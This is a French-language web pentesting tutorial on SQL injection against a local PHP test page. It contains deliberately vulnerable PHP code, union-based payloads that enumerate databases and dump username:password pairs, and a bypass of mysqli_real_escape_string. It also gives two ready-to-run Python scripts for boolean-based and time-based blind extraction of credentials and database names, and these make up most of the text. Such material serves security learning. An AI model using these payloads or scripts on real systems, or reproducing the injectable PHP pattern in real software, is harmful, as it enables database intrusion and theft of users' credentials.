SQLI Techniques - Pentesting Web

Injection SQL basée sur des erreurs

L'injection SQL basée sur des erreurs exploite les erreurs dans le code SQL pour obtenir des informations. Par exemple, si une requête renvoie une erreur avec un message spécifique, ce message peut être utilisé pour obtenir des informations supplémentaires sur le système.

• Le fichier PHP d'un site web vulnérable à l'injection basée sur des erreurs aura une structure similaire à celle-ci :

<?php
	$server = "localhost";
	$username = "jordan";
	$password = "passwordDB";
	$database = "Jordan";
	
	// Connexion à la base de données
	$conn = new mysqli($server, $username, $password, $database);

$id = $_GET['id'];

$data = mysqli_query ($conn, "select username from users where id = '$id'") or die (mysqli_error($conn));

$response = mysqli_fetch_array($data);

echo $response['username'];
?>

Vérification de la vulnérabilité en effectuant un sleep dans l'URL :

http://localhost/searchUsers.php?id=3' and sleep(5)-- -

Pour déterminer le nombre de colonnes, utilisez order by jusqu'à ce que vous n'obteniez plus d'erreurs identiques :

http://localhost/searchUsers.php?id=3' order by 4-- -

Une fois le nombre de colonnes connu, utilisez union select pour vérifier la vulnérabilité :

http://localhost/searchUsers.php?id=3' union select 1-- - 

Si l'étape précédente répond avec l'ID, utilisez un ID qui n'existe pas et union select pour obtenir le nom de la base de données actuellement utilisée :

http://localhost/searchUsers.php?id=19928282' union select database()-- - 

Pour lister toutes les bases de données existantes :

http://localhost/searchUsers.php?id=19928282' union select group_concat(schema_name) from information_schema.schemata -- -

Une fois que vous connaissez les noms de toutes les bases de données, utilisez le nom (Jordan) pour filtrer et voir les tables :

http://localhost/searchUsers.php?id=19928282' union select group_concat(table_name) from information_schema.tables where table_schema='Jordan'  -- -

De même, avec la table "users", vous pouvez voir les colonnes :

http://localhost/searchUsers.php?id=19928282' union select group_concat(column_name) from information_schema.columns where table_schema='Jordan' and table_name='users' -- -

Pour lister les colonnes (user et password) :

http://localhost/searchUsers.php?id=19928282' union select group_concat(username) from Jordan.users -- -
http://localhost/searchUsers.php?id=19928282' union select group_concat(password) from Jordan.users -- -

Pour voir le tout ensemble :

http://localhost/searchUsers.php?id=19928282' union select group_concat(username,':',password) from Jordan.users -- -

SQL avec sanitisation "mysqli_real_escape_string"

Dans de nombreux cas, les codes PHP effectuent une petite sanitisation avec mysqli_real_escape_string. Cependant, cela peut être contourné si les guillemets sont mal placés dans l'ID.

<?php
$id = mysqli_real_escape_string($conn, $_GET['id']);
$data = mysqli_query ($conn, "select username from users where id = $id");
?>

Dans ce cas, vous pouvez effectuer la même opération sans avoir besoin des guillemets simples :

http://localhost/searchUsers.php?id=9983 union select database()

SQL basée sur les méthodes de boolean ou de temps :

L'injection SQL basée sur le temps utilise une requête qui prend beaucoup de temps pour s'exécuter afin d'obtenir des informations. Par exemple, si une requête effectue une recherche dans une table et qu'un délai est ajouté à la requête, ce délai peut être utilisé pour obtenir des informations supplémentaires.

---

L'injection SQL basée sur les booléens utilise des requêtes avec des expressions booléennes pour obtenir des informations supplémentaires. Par exemple, une requête avec une expression booléenne peut être utilisée pour déterminer si un utilisateur existe dans une base de données.

---

Il existe de nombreux cas où un site web redirige vers une page 404 Not Found si l'ID indique qu'il n'existe pas. Voici un exemple de code avec la fonction http_response_code :

<?php
if (! isset($response['username'])){
	http_response_code(404);
}
?>

Exemple visuel du code d'état 404 Not Found et 200 OK avec curl si une requête est incorrecte ou correcte :

curl -s -I -X GET "http://localhost/searchUsers.php" -G --data-urlencode "id=9"

Ainsi, en cas d'attaque en aveugle, deux techniques peuvent être utilisées : les conditions ou le temps.

Injection SQL basée sur les booléens

Envoyez une requête disant d'essayer avec un ID qui n'existe pas ou si 1 = 1 :

curl -s -I -X GET "http://localhost/searchUsers.php" -G --data-urlencode "id=100000 or 1=1"

Avec le script Python suivant, vous pouvez exploiter cette faille de sécurité pour accéder à la base de données. Dans cet exemple, le script récupère les noms d'utilisateur et les mots de passe (le fichier doit être modifié en fonction du lien, du nom des tables, colonnes, bases de données, etc., comme vu précédemment en modifiant la variable sqli_url).

#!/usr/bin/python3
import requests
import signal
import sys
import time
import string
from pwn import *

def def_handler(sig, frame):
    print("\n\n[!] Exiting... \n")
    sys.exit(1)

# Gestionnaire Ctrl + C
signal.signal(signal.SIGINT, def_handler)

# Variables globales
main_url = "http://localhost/searchUsers.php"
characters = string.printable

def makeSQLI():

    p1 = log.progress("Brute Force")
    p1.status("Démarrage du processus de force brute")

    time.sleep(2)

    p2 = log.progress("Données extraites")

    extracted_info = ""

    for position in range(1, 150):
        for character in range(33, 126):
            sqli_url = main_url + "?id=1000000 or (select(select ascii(substring((select group_concat(username,0x3a, password) from users),%d,1)) from users where id = 1)=%d)" % (position, character)

            p1.status(sqli_url)
            r = requests.get(sqli_url)

            if r.status_code == 200:
                extracted_info += chr(character)
                p2.status(extracted_info)
                break

if __name__ == '__main__':
    makeSQLI()

Injection SQL basée sur le temps

Envoyez une requête disant d'essayer avec un ID qui n'existe pas ou sleep (0.35) :

curl -s -I -X GET "http://localhost/searchUsers.php" -G --data-urlencode "id=1000000 or sleep(0.35)"

Avec le script Python suivant, vous pouvez exploiter cette faille de sécurité pour accéder à la base de données. Dans cet exemple, le script liste le nom de la base de données (le fichier doit être modifié en fonction du lien, du nom des tables, colonnes, bases de données, etc., comme vu précédemment en modifiant la variable sqli_url).

#!/usr/bin/python3

import requests
import signal
import sys
import time
import string
from pwn import *

def def_handler(sig, frame):
    print("\n\n[!] Exiting... \n")
    sys.exit(1)

# Gestionnaire Ctrl + C
signal.signal(signal.SIGINT, def_handler)

# Variables globales
main_url = "http://localhost/searchUsers.php"
characters = string.printable

def makeSQLI():

    p1 = log.progress("Force brute")
    p1.status("Démarrage du processus de force brute")

    time.sleep(2)

    p2 = log.progress("Données extraites")

    extracted_info = ""

    for position in range(1, 150):
        for character in range(33, 126):
            sqli_url = main_url + "?id=1000000 or if(ascii(substr(database(),%d,1))=%d,sleep(0.35),1)" % (position, character)

            p1.status(sqli_url)

            time_start = time.time()
            r = requests.get(sqli_url)
            time_end = time.time()
            
            if time_end - time_start > 0.35:
                extracted_info += chr(character)
                p2.status(extracted_info)
                break

if __name__ == '__main__':
    makeSQLI()